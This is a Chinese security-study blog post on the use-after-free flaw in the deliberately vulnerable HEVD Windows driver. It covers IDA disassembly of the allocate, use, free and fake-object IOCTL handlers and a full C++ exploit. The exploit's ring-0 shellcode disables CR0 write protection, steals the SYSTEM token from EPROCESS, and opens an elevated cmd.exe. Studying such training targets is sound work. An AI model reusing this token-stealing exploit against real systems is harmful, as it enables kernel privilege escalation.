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[原创]HEVD学习笔记之UAF
2021-11-9 11:46 20191

[原创]HEVD学习笔记之UAF

2021-11-9 11:46
20191

实验环境以及HEVD介绍请看:HEVD学习笔记之概述           

一.漏洞原理

释放重引用漏洞(UAF)产生的原因是对已经释放的内存区域进行使用,导致了内存崩溃或者任意代码的执行。比如下面这段代码

#include <windows.h>
#include <cstdio>

int main(int argc, char **argv)
{
    char *buf1;
	char *buf2;
	

	buf1 = (char *)malloc(0x100);	// 为buf1申请一段堆内存
	printf("buf1: 0x%p\n", buf1);
	free(buf1);						// 将这段内存释放掉,但是buf1并没有赋值为NULL

	buf2 = (char *)malloc(0x100);	// 为buf2申请同样大的堆内存,这时候之前buf1申请然后释放掉的堆内存就会给buf2	
	printf("buf2: 0x%p\n", buf2);
	
	memset(buf2, 0, 0x100);			
	printf("buf2: %s\n", buf2);		// 将这段内存初始化以后输出
	
	// 由于这段堆内存被buf2重新申请,它将会有效,此时堆buf1的操作也会有效
	// 又因为它们两个指向同一块堆内存,所以对buf1的操作也会影响到buf2
	printf("======Use After Free======\n");
	strncpy(buf1, "Hello 1900", strlen("hello 1900"));	
	printf("buf2: %s\n", buf2);

    return 0;
}

由于free掉buf1以后,没有及时地将buf1的指针清空,导致随后对buf1的操作将会有效,从而影响了buf2的数据。最终输出如下图:

所以要利用UAF漏洞,需要以下的几个步骤:

  1. 申请一块内存以后释放掉它,但是没有清空该内存的指针

  2. 重新申请一块同样大小的内存,此时这两个指针对指向同一块内存

  3. 对第一步的指针进行操作,它将会影响到第二步申请的指针指向的内存

二.漏洞分析

在HEVD中,有4个函数是用来实现本次的漏洞,分别是

  1. AllocateUAFObjectNonPagedPoolIoCtrlHandler:用来申请一块内存

  2. UseUAFObjectNonPagedPoolIoCtrlHandler:对申请的内存的使用

  3. FreeUAFObjectNonPagedPoolIoCtrlHandler:释放申请的内存

  4. AllocateFakeObjectNonPagedPoolIoCtrlHandler:申请和第一步同样大小的内存并对其进行修改

1.AllocateUAFObjectNonPagedPoolIoCtrlHandler

该函数是函数地址表中的第5个函数,所以对应的IOCTL为0x222003 + 4 * 4。

PAGE:00444135 loc_444135:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:00444135                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:00444135                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236435
PAGE:0044413B                 push    offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...
PAGE:00444140                 push    3               ; Level
PAGE:00444142                 push    4Dh             ; ComponentId
PAGE:00444144                 call    esi ; DbgPrintEx
PAGE:00444146                 add     esp, 0Ch
PAGE:00444149                 push    ebx             ; 将CurrentStackLocation指针入栈
PAGE:0044414A                 push    edi             ; 将IRP的指针入栈
PAGE:0044414B                 call    AllocateUAFObjectNonPagedPoolIoCtrlHandler
PAGE:00444150                 push    offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...
PAGE:00444155                 jmp     loc_4440BF

程序将参数入栈以后就调用了AllocateUAFObjectNonPagedPoolCtrlHandler,继续看该函数

PAGE:0044635A AllocateUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:0044635A                                         ; CODE XREF: DispatchIoCtrl+E7↑p
PAGE:0044635A                 call    AllocateUAFObjectNonePagedPool
PAGE:0044635F                 retn    8
PAGE:0044635F AllocateUAFObjectNonPagedPoolIoCtrlHandler endp

在该函数中,只是调用了AllocateUAFObjectNonPagedPool,继续跟进这个函数。

PAGE:00446236 AllocateUAFObjectNonePagedPool proc near
PAGE:00446236                                         ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓p
PAGE:00446236
PAGE:00446236 var_1C          = dword ptr -1Ch
PAGE:00446236 ms_exc          = CPPEH_RECORD ptr -18h
PAGE:00446236
PAGE:00446236                 push    0Ch
PAGE:00446238                 push    offset stru_402580
PAGE:0044623D                 call    __SEH_prolog4
PAGE:00446242                 mov     edi, STATUS_UNSUCCESSFUL
PAGE:00446247                 and     dword ptr [ebp-4], 0
PAGE:0044624B                 push    offset aAllocatingUafO ; "[+] Allocating UaF Object\n"
PAGE:00446250                 push    3               ; Level
PAGE:00446252                 push    4Dh             ; ComponentId
PAGE:00446254                 mov     esi, ds:DbgPrintEx
PAGE:0044625A                 call    esi ; DbgPrintEx
PAGE:0044625C                 add     esp, 0Ch
PAGE:0044625F                 push    'kcaH'          ; Tag
PAGE:00446264                 push    58h             ; NumberOfBytes
PAGE:00446266                 push    NonPagedPool    ; PoolType
PAGE:00446268                 call    ds:ExAllocatePoolWithTag
PAGE:0044626E                 mov     ebx, eax        ; 将申请到的内存的地址赋给ebx
PAGE:00446270                 test    ebx, ebx
PAGE:00446272                 jnz     short loc_446291

可以看到,该函数中首先申请了一块0x58大小,tag为Hack的内存,并将指针赋给ebx。

PAGE:004462CD                 push    54h             ; Size
PAGE:004462CF                 push    'A'             ; Val
PAGE:004462D1                 lea     eax, [ebx+4]    ; 取出申请的内存地址+4的地址
PAGE:004462D4                 push    eax             ; Dst
PAGE:004462D5                 call    memset
PAGE:004462DA                 mov     byte ptr [ebx+57h], 0 ; 将申请的内存的最后一个字节设为0
PAGE:004462DE                 mov     dword ptr [ebx], offset UAFObjectCallbackNonPagedPool ; 将申请的内存的前4个字节设为要调用的函数
PAGE:004462E4                 mov     g_UseAfterFreeObjectNonPagedPool, ebx ; 将申请的内存的地址赋给全局变量

随后程序会将这段内存的前4个字节赋值为UAFObjectCallbackNonPagedPool,后面的字节赋值为'A',并将申请到的内存保存在全局变量中。而前4字节保存的函数只是一个简单的输出函数。

PAGE:00446418 UAFObjectCallbackNonPagedPool proc near ; DATA XREF: AllocateUAFObjectNonePagedPool+A8↑o
PAGE:00446418                 push    offset aUseafterFreeOb ; "[+] UseAfter Free Object Callback NonPa"...
PAGE:0044641D                 push    3               ; Level
PAGE:0044641F                 push    4Dh             ; ComponentId
PAGE:00446421                 call    ds:DbgPrintEx
PAGE:00446427                 add     esp, 0Ch
PAGE:0044642A                 retn
PAGE:0044642A UAFObjectCallbackNonPagedPool endp

由此可知,AllocateUAFObjectNonPagedPoolIoCtrlHandler做的事情是,申请一块0x58大小的内存。该内存的前4字节赋值为一个函数地址,后面的字节赋值为'A'。而这块内存的地址也会被赋值到全局变量g_UseAfterFreeObjectNonPagedPool中。

2.UseUAFObjectNonPagedPoolIoCtrlHandler

该函数是函数表中的第6个函数,对应的IOCTL是0x222003 + 5 * 4。而该IOCTL的操作是对UseUAFObjectNonPagedPoolIoCtrlHandler的调用,而在该函数中会调用UseUAFObjectNonPagedPool。

PAGE:0044415A loc_44415A:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:0044415A                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:0044415A                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236439
PAGE:00444160                 push    offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...
PAGE:00444165                 push    3               ; Level
PAGE:00444167                 push    4Dh             ; ComponentId
PAGE:00444169                 call    esi ; DbgPrintEx
PAGE:0044416B                 add     esp, 0Ch
PAGE:0044416E                 push    ebx
PAGE:0044416F                 push    edi
PAGE:00444170                 call    UseUAFObjectNonPagedPoolIoCtrlHandler
PAGE:00444175                 push    offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...
PAGE:0044417A                 jmp     loc_4440BF

================================================================================================

PAGE:004464E8 UseUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:004464E8                                         ; CODE XREF: DispatchIoCtrl+10C↑p
PAGE:004464E8                 call    UseUAFObjectNonPagedPool
PAGE:004464ED                 retn    8
PAGE:004464ED UseUAFObjectNonPagedPoolIoCtrlHandler endp

在UseUAFObjectNonPagedPool中,函数首先会对全局变量g_UseAfterFreeObjectNonPagedPool进行判断,判断该变量中是否保存了内存地址

PAGE:00446441                 cmp     g_UserAfterFreeObjectNonPagedPool, 0 ; 判断全局变量中是否保存了地址
PAGE:00446448                 jz      loc_4464CE

随后就是对地址的前四字节进行判断,是否保存了函数地址,如果保存了就调用这个函数

PAGE:00446495                 mov     eax, [eax]      ; 取出函数地址
PAGE:00446497                 test    eax, eax        ; 函数地址是否有效
PAGE:00446499                 jz      short loc_44649D
PAGE:0044649B                 call    eax             ; 对函数进行调用

3.FreeUAFObjectNonPagedPoolIoCtrlHandler

该函数是地址表中的第7个函数,对应的IOCTL是0x222003 + 6 * 4。而该IOCTL的操作是对FreeUAFObjectNonPagedPoolIoCtrlHandler的调用,而在该函数中会调用FreeUAFObjectNonPagedPool。

PAGE:0044417F loc_44417F:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:0044417F                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:0044417F                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236443
PAGE:00444185                 push    offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...
PAGE:0044418A                 push    3               ; Level
PAGE:0044418C                 push    4Dh             ; ComponentId
PAGE:0044418E                 call    esi ; DbgPrintEx
PAGE:00444190                 add     esp, 0Ch
PAGE:00444193                 push    ebx
PAGE:00444194                 push    edi
PAGE:00444195                 call    FreeUAFObjectNonPagedPoolIoCtrlHandler
PAGE:0044419A                 push    offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...
PAGE:0044419F                 jmp     loc_4440BF

======================================================================================

PAGE:00446410 FreeUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:00446410                                         ; CODE XREF: DispatchIoCtrl+131↑p
PAGE:00446410                 call    FreeUAFObjectNonPagedPool
PAGE:00446415                 retn    8
PAGE:00446415 FreeUAFObjectNonPagedPoolIoCtrlHandler endp

而在FreeUAFObjectNonPagedPool函数中,函数首先会判断g_UseAfterFreeObjectNonPagedPool保存的地址是否为0

PAGE:00446377                 cmp     g_UseAfterFreeObjectNonPagedPool, 0
PAGE:0044637E                 jz      short loc_4463F7

如果地址不为0,函数就会调用ExFreePoolWithTag将这段内存释放掉

PAGE:004463B5                 push    'kcaH'          ; Tag
PAGE:004463BA                 push    g_UseAfterFreeObjectNonPagedPool ; P
PAGE:004463C0                 call    ds:ExFreePoolWithTag

4.AllocateFakeObjectNonPagedPoolIoCtrlHandler

该函数在函数地址表中的第8个函数,对应的IOCTL为0x222003 + 7 * 4。

PAGE:004441A4 loc_4441A4:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:004441A4                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:004441A4                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447
PAGE:004441AA                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441AF                 push    3               ; Level
PAGE:004441B1                 push    4Dh             ; ComponentId
PAGE:004441B3                 call    esi ; DbgPrintEx
PAGE:004441B5                 add     esp, 0Ch
PAGE:004441B8                 push    ebx             ; 将CurrentStackLocation指针入栈
PAGE:004441B9                 push    edi             ; 将IRP的指针入栈
PAGE:004441BA                 call    AllocateFakeObjectNonPagedPoolIoCtlHandler
PAGE:004441BF                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441C4                 jmp     loc_4440BF

将IRP和CurrentStackLocation指针入栈以后就调用了AllocateFakeObjectNonPagedPoolIoCtrlHandler。

PAGE:00446216 AllocateFakeObjectNonPagedPoolIoCtlHandler proc near
PAGE:00446216                                         ; CODE XREF: DispatchIoCtrl+156↑p
PAGE:00446216
PAGE:00446216 arg_CurrentStackLocation= dword ptr  0Ch
PAGE:00446216
PAGE:00446216                 push    ebp
PAGE:00446217                 mov     ebp, esp
PAGE:00446219                 mov     eax, [ebp+arg_CurrentStackLocation]
PAGE:0044621C                 mov     ecx, STATUS_UNSUCCESSFUL
PAGE:00446221                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer] ; 将输入缓冲区地址赋给eax
PAGE:00446224                 test    eax, eax
PAGE:00446226                 jz      short loc_446230
PAGE:00446228                 push    eax             ; UserFakeObject
PAGE:00446229                 call    AllocateFakeObjectNonPagedPool
PAGE:0044622E                 mov     ecx, eax
PAGE:00446230
PAGE:00446230 loc_446230:                             ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+10↑j
PAGE:00446230                 mov     eax, ecx
PAGE:00446232                 pop     ebp
PAGE:00446233                 retn    8
PAGE:00446233 AllocateFakeObjectNonPagedPoolIoCtlHandler endp

在该函数中,函数会将输入缓冲区的地址取出以后入栈,接着在调用AllocateFakeObjectNonPagedPool函数。

PAGE:0044611C ; int __stdcall AllocateFakeObjectNonPagedPool(void *)
PAGE:0044611C AllocateFakeObjectNonPagedPool proc near
PAGE:0044611C                                         ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+13↓p
PAGE:0044611C
PAGE:0044611C var_20          = dword ptr -20h
PAGE:0044611C var_AllocateMemory= dword ptr -1Ch
PAGE:0044611C ms_exc          = CPPEH_RECORD ptr -18h
PAGE:0044611C arg_InputBuffer = dword ptr  8
PAGE:0044611C
PAGE:0044611C                 push    10h
PAGE:0044611E                 push    offset stru_4025A0
PAGE:00446123                 call    __SEH_prolog4
PAGE:00446128                 xor     ebx, ebx
PAGE:0044612A                 mov     [ebp+ms_exc.registration.TryLevel], ebx
PAGE:0044612D                 push    offset aCreatingFakeOb ; "[+] Creating Fake Object\n"
PAGE:00446132                 push    3               ; Level
PAGE:00446134                 push    4Dh             ; ComponentId
PAGE:00446136                 mov     esi, ds:DbgPrintEx
PAGE:0044613C                 call    esi ; DbgPrintEx
PAGE:0044613E                 add     esp, 0Ch
PAGE:00446141                 push    'kcaH'          ; Tag
PAGE:00446146                 push    58h             ; NumberOfBytes
PAGE:00446148                 push    ebx             ; PoolType
PAGE:00446149                 call    ds:ExAllocatePoolWithTag
PAGE:0044614F                 mov     edi, eax        ; 将申请到的地址赋给edi
PAGE:00446151                 mov     [ebp+var_AllocateMemory], edi ; 将地址赋给局部变量
PAGE:00446154                 test    edi, edi        ; 申请到的内存是否成功
PAGE:00446156                 jnz     short loc_446177
PAGE:00446158                 push    offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk\n"
PAGE:0044615D                 push    3               ; Level
PAGE:0044615F                 push    4Dh             ; ComponentId
PAGE:00446161                 call    esi ; DbgPrintEx
PAGE:00446163                 add     esp, 0Ch
PAGE:00446166                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
PAGE:0044616D                 mov     eax, STATUS_NO_MEMORY
PAGE:00446172                 jmp     loc_446204

函数会申请一块0x58大,tag为Hack的内存,并将内存地址保存到edi和局部变量中。

PAGE:004461B3                 push    1               ; Alignment
PAGE:004461B5                 push    58h             ; Length
PAGE:004461B7                 mov     esi, [ebp+arg_InputBuffer] ; 将输入缓冲区的地址取出赋给esi
PAGE:004461BA                 push    esi             ; Address
PAGE:004461BB                 call    ds:ProbeForRead
PAGE:004461C1                 push    16h
PAGE:004461C3                 pop     ecx
PAGE:004461C4                 rep movsd
PAGE:004461C6                 mov     eax, [ebp+var_AllocateMemory]
PAGE:004461C9                 mov     [eax+57h], bl   ; 将内存最后一个字节赋值为0

接着函数会验证输入缓冲区的指针是否可读,然后将输入缓冲区的内容赋值到申请到的0x58字节的内存中,在对申请到的内存的最后一个字节赋值为0。

三.漏洞利用

由上面分析可以知道,申请的0x58大小的内存中的前4个字节保存了一个函数地址。正常情况下,通过对UseUAFObjectNonPagedPoolIoCtrlHandler的调用就会调用程序分配的那个函数,如下图所示

可是,在释放内存的时候,程序没有对全局变量进行处理。这样,如果释放完内存以后,调用AllocateFakeObjectNonPagedPoolIoCtrlHandler的时候,程序会申请0x58大小的内存,这个时候就会得到和全局变量所指地址一样的内存区域,而此时我们通过构造输入缓冲区的前4字节来指定为ShellCode的函数地址,这样就会改变全局变量所指的内存的前4字节,这个时候在调用UseUAFObjectNonPagedPoolIoCtrlHandler的时候,就会调用指定的ShellCode函数地址

完整的exp代码如下:

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")

#define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver"

void ShowError(PCHAR msg, DWORD ErrorCode);
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength);

BOOL g_bIsExecute = FALSE;

int main()
{
	NTSTATUS status = STATUS_SUCCESS;
	HANDLE hDevice = NULL;
	DWORD dwReturnLength = 0;
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONST DWORD dwAllocateIoCtl = 0x222003 + 4 * 4;
	CONST DWORD dwUseIoCtl = 0x222003 + 5 * 4;
	CONST DWORD dwFreeIoCtl = 0x222003 + 6 * 4;
	CONST DWORD dwFakeIoCtl = 0x222003 + 7 * 4;

	// 打开驱动设备
	hDevice = CreateFile(LINK_NAME,
						 GENERIC_READ | GENERIC_WRITE,
						 0,
						 NULL,
						 OPEN_EXISTING,
						 FILE_ATTRIBUTE_NORMAL,
						 0);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		ShowError("CreateFile", GetLastError());
		goto exit;
	}

	// 与驱动设备进行交互,分配0x58大小的内存
	DeviceIoControl(hDevice,
					dwAllocateIoCtl,
				    NULL,
					0,
					NULL,
					0,
					&dwReturnLength,
				    NULL);
	

	// 与驱动设备进行交互,正常操作时候对函数的调用
	DeviceIoControl(hDevice,
					dwUseIoCtl,
					NULL,
					0,
					NULL,
					0,
					&dwReturnLength,
					NULL);

	
	// 与驱动设备进行交互,将申请的内存块释放
	DeviceIoControl(hDevice,
					dwFreeIoCtl,
					NULL,
					0,
					NULL,
					0,
					&dwReturnLength,
					NULL);

	char szInput[0x58] = { 0 };

	*(PDWORD)szInput = (DWORD)Ring0ShellCode;
	// 与驱动设备进行交互,对函数地址进行覆盖
	if (!DeviceIoControl(hDevice,
						 dwFakeIoCtl,
						 szInput,
						 0x58,
						 NULL,
						 0,
						 &dwReturnLength,
						 NULL))
	{
		ShowError("DeviceIoControl", GetLastError());
		goto exit;
	}

	// 与驱动设备进行交互,再次对函数进行调用
	DeviceIoControl(hDevice,
					dwUseIoCtl,
					NULL,
					0,
					NULL,
					0,
					&dwReturnLength,
					NULL);
	

	if (g_bIsExecute)
	{
		printf("Ring0 代码执行完成\n");
	}

	si.cb = sizeof(si);
	if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),
					   NULL,
					   NULL,
					   NULL,
					   FALSE,
					   CREATE_NEW_CONSOLE,
					   NULL,
					   NULL,
					   &si,
					   &pi))
	{
		printf("CreateProcess Error\n");
		goto exit;
	}
	
exit:
	if (hDevice) NtClose(hDevice);
	system("pause");

	return 0;
}

void ShowError(PCHAR msg, DWORD ErrorCode)
{
	printf("%s Error 0x%X\n", msg, ErrorCode);
}

NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength)
{
	// 关闭页保护
	__asm
	{
		cli
		mov eax, cr0
		and eax, ~0x10000
		mov cr0, eax
	}

	__asm
	{
		// 取当前线程
		mov eax, fs:[0x124]
		// 取线程对应的EPROCESS
		mov esi, [eax + 0x150]
		mov eax, esi
	searchWin7:
		mov eax, [eax + 0xB8]
		sub eax, 0x0B8
		mov edx, [eax + 0xB4]
		cmp edx, 0x4
		jne searchWin7
		mov eax, [eax + 0xF8]
		mov [esi + 0xF8], eax
	}

	// 开起页保护
	__asm
	{
		mov eax, cr0
		or eax, 0x10000
		mov cr0, eax
		sti
	}

	g_bIsExecute = TRUE;
}

调用完成以后,程序将成功提权

四.参考资料

  • 《漏洞战争》


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-1-19 18:03 被1900编辑 ,原因:
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